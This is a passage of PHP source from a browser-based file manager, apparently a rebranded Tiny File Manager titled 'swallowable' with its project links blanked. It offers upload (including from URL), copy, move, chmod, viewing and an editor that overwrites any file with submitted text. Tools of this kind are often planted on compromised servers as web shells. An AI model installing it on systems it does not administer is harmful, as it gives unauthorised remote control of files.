if (!empty($_POST['ow'])) {
$mode |= 0002;
}
if (!empty($_POST['ox'])) {
$mode |= 0001;
}
if (@chmod($path . '/' . $file, $mode)) {
fm_set_msg(lng('Permissions changed'));
} else {
fm_set_msg(lng('Permissions not changed'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
$parent = fm_get_parent_path(FM_PATH);
$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) and fm_is_exclude_items($current_path)) {
foreach ($objects as $file) {
if ($file == '.' || $file == '..') {
continue;
}
if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') {
continue;
}
$new_path = $path . '/' . $file;
if (@is_file($new_path) and fm_is_exclude_items($file)) {
$files[] = $file;
} elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) {
$folders[] = $file;
}
}
}
if (!empty($files)) {
natcasesort($files);
}
if (!empty($folders)) {
natcasesort($folders);
}
if (isset($_GET['upload']) and !FM_READONLY) {
fm_show_header();
fm_show_nav_path(FM_PATH);
function getUploadExt() {
$extArr = explode(',', FM_UPLOAD_EXTENSION);
if(FM_UPLOAD_EXTENSION and $extArr) {
array_walk($extArr, function(&$x) {$x = ".$x";});
return implode(',', $extArr);
}
return '';
}
?>
<?php print_external('css-dropzone'); ?>
<div class="path">
<div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
<div class="card-header">
<ul class="nav nav-tabs card-header-tabs">
<li class="nav-item">
<a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
</li>
<li class="nav-item">
<a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
</li>
</ul>
</div>
<div class="card-body">
<p class="card-text">
<a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
<strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_PATH)) ?>
</p>
<form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fanco(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="fullpath" id="fullpath" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<div class="fallback">
<input name="file" type="file" multiple/>
</div>
</form>
<div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
<form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
<input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
<input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
<div class="lds-facebook"><div></div><div></div><div></div></div>
</form>
<div id="js-url-upload__list" class="col-9 mt-3"></div>
</div>
</div>
</div>
</div>
<?php print_external('js-dropzone'); ?>
<script>
Dropzone.options.fileUploader = {
chunking: true,
chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
forceChunking: true,
retryChunks: true,
retryChunksLimit: 3,
parallelUploads: 1,
parallelChunkUploads: false,
timeout: 120000,
maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
acceptedFiles : "<?php echo getUploadExt() ?>",
init: function () {
this.on("sending", function (file, xhr, formData) {
let _path = (file.fullPath) ? file.fullPath : file.name;
document.getElementById("fullpath").value = _path;
xhr.ontimeout = (function() {
toast('Error: Server Timeout');
});
}).on("success", function (res) {
try {
let _response = JSON.parse(res.xhr.response);
if(_response.status == "error") {
toast(_response.info);
}
} catch (e) {
toast("Error: Invalid JSON response");
}
}).on("error", function(file, response) {
toast(response);
});
}
}
</script>
<?php
fm_show_footer();
exit;
}
if (isset($_POST['copy']) and !FM_READONLY) {
$copy_files = isset($_POST['file']) ? $_POST['file'] : null;
if (!is_array($copy_files) || empty($copy_files)) {
fm_set_msg(lng('Nothing selected'), 'alert');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
?>
<div class="path">
<div class="card <?php echo fm_get_theme(); ?>">
<div class="card-header">
<h6><?php echo lng('Copying') ?></h6>
</div>
<div class="card-body">
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="finish" value="1">
<?php
foreach ($copy_files as $cf) {
echo '<input type="hidden" name="file[]" value="' . fanco($cf) . '">' . PHP_EOL;
}
?>
<p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
<p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
<label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
<?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fanco(FM_PATH) ?>">
</p>
<p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['copy']) and !isset($_GET['finish']) and !FM_READONLY) {
$copy = $_GET['copy'];
$copy = fm_clean_path($copy);
if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header();
fm_show_nav_path(FM_PATH);
?>
<div class="path">
<p><b>Copying</b></p>
<p class="break-word">
<strong>Source path:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
<strong>Destination folder:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
</p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
</p>
<p><i><?php echo lng('Select folder') ?></i></p>
<ul class="folders break-word">
<?php
if ($parent !== false) {
?>
<li><a href="?p=<?php echo urlencode($parent) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
<?php
}
foreach ($folders as $f) {
?>
<li>
<a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
<?php
}
?>
</ul>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['settings']) and !FM_READONLY) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang, $lang_list;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header d-flex justify-content-between">
<span><i class="fa fa-cog"></i> <?php echo lng('Settings') ?></span>
<a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
</h6>
<div class="card-body">
<form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
<input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
<div class="form-group row">
<label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
<div class="col-sm-5">
<select class="form-select" id="js-language" name="js-language">
<?php
function getSelected($l) {
global $lang;
return ($lang == $l) ? 'selected' : '';
}
foreach ($lang_list as $k => $v) {
echo "<option value='$k' ".getSelected($k).">$v</option>";
}
?>
</select>
</div>
</div>
<div class="mt-3 mb-3 row ">
<label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
<div class="col-sm-5">
<select class="form-select w-100" id="js-3-0" name="js-theme-3">
<option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option>
<option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option>
</select>
</div>
</div>
<div class="mb-3 row">
<div class="col-sm-10">
<button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
</div>
</div>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['help'])) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header d-flex justify-content-between">
<span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
<a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
</h6>
<div class="card-body">
<div class="row">
<div class="col-xs-12 col-sm-6">
<p><h3><a href="." target="_blank" class="app-v-title"> swallowable <?php echo VERSION; ?></a></h3></p>
</div>
<div class="col-xs-12 col-sm-6">
<div class="card">
<ul class="list-group list-group-flush">
<li class="list-group-item"><a href="." target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
<li class="list-group-item"><a href="." target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
<?php if(!FM_READONLY) { ?>
<li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
<?php } ?>
</ul>
</div>
</div>
</div>
<div class="row js-new-pwd hidden mt-2">
<div class="col-12">
<form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
<input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
<div class="form-group mb-2">
<label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
</div>
<div class="form-group mx-sm-3 mb-2">
<label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
<input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
</div>
<button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
</form>
<textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
</div>
</div>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['view'])) {
$file = $_GET['view'];
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize_raw = fm_get_size($file_path);
$filesize = fm_get_filesize($filesize_raw);
$is_zip = false;
$is_gzip = false;
$is_image = false;
$is_audio = false;
$is_video = false;
$is_text = false;
$is_onlineViewer = false;
$view_title = 'File';
$filenames = false; // for zip
$content = ''; // for text
$online_viewer = strtolower(FM_DOC_VIEWER);
if($online_viewer and $online_viewer !== 'false' and in_array($ext, fm_get_onlineViewer_exts())){
$is_onlineViewer = true;
}
elseif ($ext == 'zip' || $ext == 'tar') {
$is_zip = true;
$view_title = 'Archive';
$filenames = fm_get_zif_info($file_path, $ext);
} elseif (in_array($ext, fm_get_image_exts())) {
$is_image = true;
$view_title = 'Image';
} elseif (in_array($ext, fm_get_audio_exts())) {
$is_audio = true;
$view_title = 'Audio';
} elseif (in_array($ext, fm_get_video_exts())) {
$is_video = true;
$view_title = 'Video';
} elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="row">
<div class="col-12">
<p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fanco(fm_convert_win($file)) ?>"</b></p>
<p class="break-word">
<?php $display_path = fm_get_display_path($file_path); ?>
<strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br>
<strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
<strong>MIME-type:</strong> <?php echo $mime_type ?><br>
<?php
// ZIP info
if (($is_zip || $is_gzip) and $filenames !== false) {
$total_files = 0;
$total_comp = 0;
$total_uncomp = 0;
foreach ($filenames as $fn) {
if (!$fn['folder']) {
$total_files++;
}
$total_comp += $fn['compressed_size'];
$total_uncomp += $fn['filesize'];
}
?>
<?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br>
<?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br>
<?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br>
<?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br>
<?php
}
// Image info
if ($is_image) {
$image_size = getimagesize($file_path);
echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
}
// Text info
if ($is_text) {
$is_utf8 = fm_is_utf8($content);
if (function_exists('iconv')) {
if (!$is_utf8) {
$content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
}
}
echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
}
?>
</p>
<div class="d-flex align-items-center mb-3">
<form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($file) ?>">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button>
</form>
<b class="ms-2"><a href="<?php echo fanco($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
<?php
// ZIP actions
if (!FM_READONLY and ($is_zip || $is_gzip) and $filenames !== false) {
$zip_name = pathinfo($file_path, PATHINFO_FILENAME);
?>
<form method="post" class="d-inline ms-2">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
</form>
<form method="post" class="d-inline ms-2">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
<input type="hidden" name="tofolder" value="1">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fanco($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
</form>
<?php
}
if ($is_text and !FM_READONLY) {
?>
<b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
</a></b>
<b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"
class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
</a></b>
<?php } ?>
<b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
</div>
<?php
if($is_onlineViewer) {
if($online_viewer == 'google') {
echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
} else if($online_viewer == 'microsoft') {
echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
}
} elseif ($is_zip) {
// ZIP content
if ($filenames !== false) {
echo '<code class="maxheight">';
foreach ($filenames as $fn) {
if ($fn['folder']) {
echo '<b>' . fanco($fn['name']) . '</b><br>';
} else {
echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
}
}
echo '</code>';
} else {
echo '<p>'.lng('Error while fetching archive info').'</p>';
}
} elseif ($is_image) {
// Image content
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fanco($file_url) . '" alt="image" class="preview-img"></label></p>';
}
} elseif ($is_audio) {
// Audio content
echo '<p><audio src="' . fanco($file_url) . '" controls preload="metadata"></audio></p>';
} elseif ($is_video) {
// Video content
echo '<div class="preview-video"><video src="' . fanco($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
} elseif ($is_text) {
if (FM_USE_HIGHLIGHTJS) {
// highlight
$hljs_classes = array(
'shtml' => 'xml',
'htaccess' => 'apache',
'phtml' => 'php',
'lock' => 'json',
'svg' => 'xml',
);
$hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
$hljs_class = 'nohighlight';
}
$content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fanco($content) . '</code></pre>';
} elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
// php highlight
$content = highlight_string($content, true);
} else {
$content = '<pre>' . fanco($content) . '</pre>';
}
echo $content;
}
?>
</div>
</div>
<?php
fm_show_footer();
exit;
}
// file editor
if (isset($_GET['edit']) and !FM_READONLY) {
$file = $_GET['edit'];
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$editFile = ' : <i><b>'. $file. '</b></i>';
header('X-XSS-Protection:0');
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
// normal editer
$isNormalEditor = true;
if (isset($_GET['env'])) {
if ($_GET['env'] == "ace") {
$isNormalEditor = false;
}
}
// Save File
if (isset($_POST['savedata'])) {
$writedata = $_POST['savedata'];
$fd = fopen($file_path, "w");
@fwrite($fd, $writedata);
fclose($fd);
fm_set_msg(lng('File Saved Successfully'));
}
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize = filesize($file_path);
$is_text = false;
$content = ''; // for text
if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="path">
<div class="row">
<div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
<div class="btn-toolbar" role="toolbar">
<?php if (!$isNormalEditor) { ?>
<div class="btn-group js-ace-toolbar">
<button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
<button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
<button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
<button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
<button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
<select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select>
<select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select>
<select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select>
</div>
<?php } ?>
</div>
</div>
<div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
<a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
<a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
<?php if ($is_text) { ?>
<?php if ($isNormalEditor) { ?>
<a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
<button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
</button>
<?php } else { ?>
<a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
<button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
</button>
<?php } ?>
<?php } ?>
</div>
</div>
<?php
if ($is_text and $isNormalEditor) {
echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey) and e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
} elseif ($is_text) {
echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
} else {
fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
}
?>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['chmod']) and !FM_READONLY and !FM_IS_WIN) {
$file = $_GET['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
$file_path = $path . '/' . $file;
$mode = fileperms($path . '/' . $file);
?>
<div class="path">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header">
<?php echo lng('ChangePermissions') ?>
</h6>
<div class="card-body">
<p class="card-text">
<?php $display_path = fm_get_display_path($file_path); ?>
<?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
</p>
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="chmod" value="<?php echo fanco($file) ?>">
<table class="table compact-table <?php echo fm_get_theme(); ?>">
<tr>
<td></td>
<td><b><?php echo lng('Owner') ?></b></td>
<td><b><?php echo lng('Group') ?></b></td>
<td><b><?php echo lng('Other') ?></b></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
<td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
<td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
<td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
</tr>
</table>
<p>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
fm_show_message();
$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="group" value="1">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<div class="table-responsive">
<table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
<thead class="thead-white">
<tr>
<?php if (!FM_READONLY): ?>
<th style="width:3%" class="custom-checkbox-header">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
<label class="custom-control-label" for="js-select-all-items"></label>
</div>
</th><?php endif; ?>
<th><?php echo lng('Name') ?></th>
<th><?php echo lng('Size') ?></th>
<th><?php echo lng('Modified') ?></th>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
